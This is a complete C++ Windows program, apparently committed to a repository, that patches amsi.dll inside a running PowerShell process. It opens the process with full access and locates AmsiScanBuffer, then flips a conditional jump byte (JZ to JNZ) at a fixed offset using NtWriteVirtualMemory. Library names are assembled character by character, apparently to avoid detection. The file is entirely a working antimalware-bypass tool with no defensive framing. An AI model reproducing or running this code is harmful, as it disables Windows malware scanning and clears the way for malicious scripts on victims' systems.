1+ #include < Windows.h>
2+ #include < TlHelp32.h>
3+ #include < winternl.h>
4+ #include < iostream>
5+
6+ // link: https://learn.microsoft.com/en-us/windows/console/console-screen-buffers#character-attributes
7+ void SetConsoleColor (WORD color) {
8+ HANDLE hConsole = GetStdHandle (STD_OUTPUT_HANDLE);
9+ SetConsoleTextAttribute (hConsole, color);
10+ }
11+
12+ typedef NTSTATUS (WINAPI* nt_write_virtual_memory_t )(
13+ HANDLE process_handle,
14+ PVOID base_address,
15+ PVOID buffer,
16+ ULONG number_of_bytes,
17+ PULONG number_of_bytes_written);
18+
19+ typedef NTSTATUS (WINAPI* nt_open_process_t )(
20+ PHANDLE process_handle,
21+ ACCESS_MASK desired_access,
22+ POBJECT_ATTRIBUTES object_attributes,
23+ CLIENT_ID* client_id);
24+
25+ DWORD obter_id_processo_por_nome (const wchar_t * nome_processo) {
26+ HANDLE snapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0 );
27+ if (snapshot != INVALID_HANDLE_VALUE) {
28+ PROCESSENTRY32W entrada_processo;
29+ entrada_processo.dwSize = sizeof (PROCESSENTRY32W);
30+ if (Process32FirstW (snapshot, &entrada_processo)) {
31+ do {
32+ if (wcscmp (entrada_processo.szExeFile , nome_processo) == 0 ) {
33+ CloseHandle (snapshot);
34+ return entrada_processo.th32ProcessID ;
35+ }
36+ } while (Process32NextW (snapshot, &entrada_processo));
37+ }
38+ }
39+ CloseHandle (snapshot);
40+ return 0 ;
41+ }
42+
43+ int main () {
44+ HANDLE hConsole = GetStdHandle (STD_OUTPUT_HANDLE);
45+ std::cout << " ------------------------------------------------------------------------- \n " << std::endl;
46+ SetConsoleColor (FOREGROUND_RED | FOREGROUND_INTENSITY);
47+ printf (
48+ " ~~~~~~~~~~~~~~~~~~~~~~ +-+-+-+-+-+-+-+-+-+-+-+-+-+ ~~~~~~~~~~~~~~~~~~~~~~\n "
49+ " ~~~~~~~~~~~~~~~~~~~~~~ ||| /////////////////// ||| ~~~~~~~~~~~~~~~~~~~~~~\n "
50+ " ~~~~~~~~~~~~~~~~~~~~~~ ||| -> Patch amsi.dll ||| ~~~~~~~~~~~~~~~~~~~~~~\n "
51+ " ~~~~~~~~~~~~~~~~~~~~~~ ||| -> By Vithor176 ^-^ ||| ~~~~~~~~~~~~~~~~~~~~~~\n "
52+ " ~~~~~~~~~~~~~~~~~~~~~~ ||| /////////////////// ||| ~~~~~~~~~~~~~~~~~~~~~~\n "
53+ " ~~~~~~~~~~~~~~~~~~~~~~ +-+-+-+-+-+-+-+-+-+-+-+-+-+ ~~~~~~~~~~~~~~~~~~~~~~\n\n "
54+ );
55+
56+ SetConsoleTextAttribute (hConsole, 7 );
57+ std::cout << " ------------------------------------------------------------------------- \n " << std::endl;
58+
59+ const wchar_t * nome_processo = L" powershell.exe" ;
60+ DWORD id_processo = obter_id_processo_por_nome (nome_processo);
61+
62+ if (id_processo == 0 ) {
63+ SetConsoleColor (FOREGROUND_RED | FOREGROUND_INTENSITY);
64+ std::wcout << L" Processo " << nome_processo << L" nao encontrado." << std::endl;
65+ return 1 ;
66+ }
67+
68+ const wchar_t n_dll_name[] = { ' n' ,' t' ,' d' ,' l' ,' l' ,' .' ,' d' ,' l' ,' l' ,0 };
69+ HMODULE h_ntdll = GetModuleHandleW (n_dll_name);
70+ if (!h_ntdll) {
71+ std::cout << " Falha ao carregar ntdll.dll." << std::endl;
72+ return 1 ;
73+ }
74+
75+ auto nt_write_virtual_memory = (nt_write_virtual_memory_t )GetProcAddress (h_ntdll, " NtWriteVirtualMemory" );
76+ auto nt_open_process = (nt_open_process_t )GetProcAddress (h_ntdll, " NtOpenProcess" );
77+
78+ if (!nt_write_virtual_memory || !nt_open_process) {
79+ std::cout << " Falha ao obter ponteiros para as funcoes NT." << std::endl;
80+ return 1 ;
81+ }
82+
83+ CLIENT_ID client_id = { reinterpret_cast <HANDLE>(static_cast <uintptr_t >(id_processo)), nullptr };
84+
85+ OBJECT_ATTRIBUTES obj_attributes;
86+ InitializeObjectAttributes (&obj_attributes, NULL , 0 , NULL , NULL );
87+
88+ HANDLE h_processo;
89+ NTSTATUS status = nt_open_process (&h_processo, PROCESS_ALL_ACCESS, &obj_attributes, &client_id);
90+ if (status != 0 ) {
91+ std::cout << " Falha ao abrir o processo. Codigo de erro: " << std::hex << status << std::endl;
92+ CloseHandle (h_processo);
93+ return 1 ;
94+ }
95+
96+ const wchar_t am_dll[] = { ' a' ,' m' ,' s' ,' i' ,' .' ,' d' ,' l' ,' l' ,0 };
97+ HMODULE h_amsi = LoadLibraryW (am_dll);
98+ if (h_amsi == NULL ) {
99+ std::cout << " Falha ao carregar a biblioteca amsi.dll." << std::endl;
100+ CloseHandle (h_processo);
101+ return 1 ;
102+ }
103+
104+ FARPROC amsi_scan_buffer = GetProcAddress (h_amsi, " AmsiScanBuffer" );
105+ if (amsi_scan_buffer == NULL ) {
106+ std::cout << " Falha ao localizar AmsiScanBuffer." << std::endl;
107+ FreeLibrary (h_amsi);
108+ CloseHandle (h_processo);
109+ return 1 ;
110+ }
111+
112+ SetConsoleColor (FOREGROUND_GREEN | FOREGROUND_INTENSITY);
113+ std::cout << " Endereco de AmsiScanBuffer: " ;
114+ SetConsoleTextAttribute (hConsole, 7 );
115+ std::cout << amsi_scan_buffer << std::endl;
116+ SetConsoleTextAttribute (hConsole, 7 );
117+ BYTE* endereco_patch = (BYTE*)amsi_scan_buffer + 0x95 ;
118+ SetConsoleColor (FOREGROUND_GREEN | FOREGROUND_INTENSITY);
119+ std::cout << " Endereco de AmsiScanBuffer " ;
120+ SetConsoleTextAttribute (hConsole, 7 );
121+ std::cout << " + 0x95 = " << static_cast <void *>(endereco_patch) << std::endl;
122+ SetConsoleColor (FOREGROUND_GREEN | FOREGROUND_INTENSITY);
123+ std::cout << " Endereco do patch: " ;
124+ SetConsoleTextAttribute (hConsole, 7 );
125+ std::cout << static_cast <void *>(endereco_patch) << std::endl;
126+
127+ SetConsoleTextAttribute (hConsole, 7 );
128+ std::cout << " \n -------------------------------------------------------------------------" << std::endl;
129+
130+ MEMORY_BASIC_INFORMATION mbi;
131+ if (VirtualQueryEx (h_processo, endereco_patch, &mbi, sizeof (mbi))) {
132+ SetConsoleColor (FOREGROUND_GREEN | FOREGROUND_INTENSITY);
133+ std::cout << " \n Permissao atual de memoria do patch: " ;
134+ SetConsoleTextAttribute (hConsole, 7 );
135+ std::cout << mbi.Protect ;
136+ BYTE current_byte;
137+ SIZE_T bytes_read;
138+ if (ReadProcessMemory (h_processo, endereco_patch, ¤t_byte, sizeof (current_byte), &bytes_read)) {
139+ SetConsoleColor (FOREGROUND_GREEN | FOREGROUND_INTENSITY);
140+ std::cout << " \n Valor atual no patch: " ;
141+ SetConsoleTextAttribute (hConsole, 7 );
142+ std::cout << " 0x" << std::hex << static_cast <int >(current_byte) << std::endl;
143+ }
144+ else {
145+ SetConsoleColor (FOREGROUND_RED | FOREGROUND_INTENSITY);
146+ std::cout << " \n Falha ao ler o valor atual do patch. Codigo de erro: " << GetLastError () << std::endl;
147+ }
148+ }
149+
150+ DWORD old_protect;
151+ ULONG tamanho_regiao = 0x1000 ;
152+
153+ SetConsoleTextAttribute (hConsole, 7 );
154+ std::cout << " \n -------------------------------------------------------------------------" << std::endl;
155+
156+ SetConsoleColor (FOREGROUND_GREEN | FOREGROUND_INTENSITY);
157+ std::cout << " Alterando a protecao de memoria do patch com " ;
158+ SetConsoleTextAttribute (hConsole, 7 );
159+ std::cout << " VirtualProtectEx!" << std::endl;
160+ if (!VirtualProtectEx (h_processo, endereco_patch, tamanho_regiao, PAGE_EXECUTE_READWRITE, &old_protect)) {
161+ SetConsoleColor (FOREGROUND_RED | FOREGROUND_INTENSITY);
162+ std::cout << " \n Falha ao alterar permissoes de memoria. Codigo de erro: " << GetLastError () << std::endl;
163+ CloseHandle (h_processo);
164+ FreeLibrary (h_amsi);
165+ return 1 ;
166+ }
167+
168+ SetConsoleColor (FOREGROUND_GREEN | FOREGROUND_INTENSITY);
169+ std::cout << " \n Permissao de memoria do patch alterado para: " ;
170+ SetConsoleTextAttribute (hConsole, 7 );
171+ std::cout << std::hex << old_protect << std::endl;
172+
173+ // Patch - troca o byte de 0x74 para 0x75 (JZ para JNZ)
174+ BYTE patch = 0x75 ;
175+ SIZE_T bytes_escritos;
176+ status = nt_write_virtual_memory (h_processo, endereco_patch, &patch, sizeof (patch), (PULONG)&bytes_escritos);
177+ BYTE current_byte;
178+ SIZE_T bytes_read;
179+ if (ReadProcessMemory (h_processo, endereco_patch, ¤t_byte, sizeof (current_byte), &bytes_read)) {
180+ SetConsoleColor (FOREGROUND_GREEN | FOREGROUND_INTENSITY);
181+ std::cout << " \n Valor atual no patch apos a alteracao com " ;
182+ SetConsoleTextAttribute (hConsole, 7 );
183+ std::cout << " NtWriteVirtualMemory: " ;
184+ std::cout << " 0x" << std::hex << static_cast <int >(current_byte) << std::endl;
185+ }
186+ else {
187+ SetConsoleColor (FOREGROUND_RED | FOREGROUND_INTENSITY);
188+ std::cout << " \n Falha ao ler o valor atual do patch. Codigo de erro: " << GetLastError () << std::endl;
189+ }
190+
191+ if (status != 0 || bytes_escritos != sizeof (patch)) {
192+ std::cout << " \n Falha ao escrever na memoria. Codigo de erro: " << std::hex << status << std::endl;
193+ VirtualProtectEx (h_processo, endereco_patch, tamanho_regiao, old_protect, &old_protect);
194+ FreeLibrary (h_amsi);
195+ CloseHandle (h_processo);
196+ return 1 ;
197+ }
198+
199+ if (!VirtualProtectEx (h_processo, endereco_patch, tamanho_regiao, old_protect, &old_protect)) {
200+ std::cout << " \n Falha ao restaurar permissões de memória. Codigo de erro: " << GetLastError () << std::endl;
201+ }
202+ else {
203+ SetConsoleColor (FOREGROUND_GREEN | FOREGROUND_INTENSITY);
204+ std::cout << " \n Permissao de memoria do patch restaurada com sucesso." << std::endl;
205+ }
206+
207+ FreeLibrary (h_amsi);
208+ CloseHandle (h_processo);
209+
210+ SetConsoleTextAttribute (hConsole, 7 );
211+ std::cout << " -------------------------------------------------------------------------" << std::endl;
212+
213+ SetConsoleColor (FOREGROUND_BLUE | FOREGROUND_INTENSITY);
214+ std::cout << " Patch aplicado com sucesso! :P" << std::endl;
215+ SetConsoleTextAttribute (hConsole, 7 );
216+ std::cout << " -------------------------------------------------------------------------" << std::endl;
217+ return 0 ;
218+ }
0 commit comments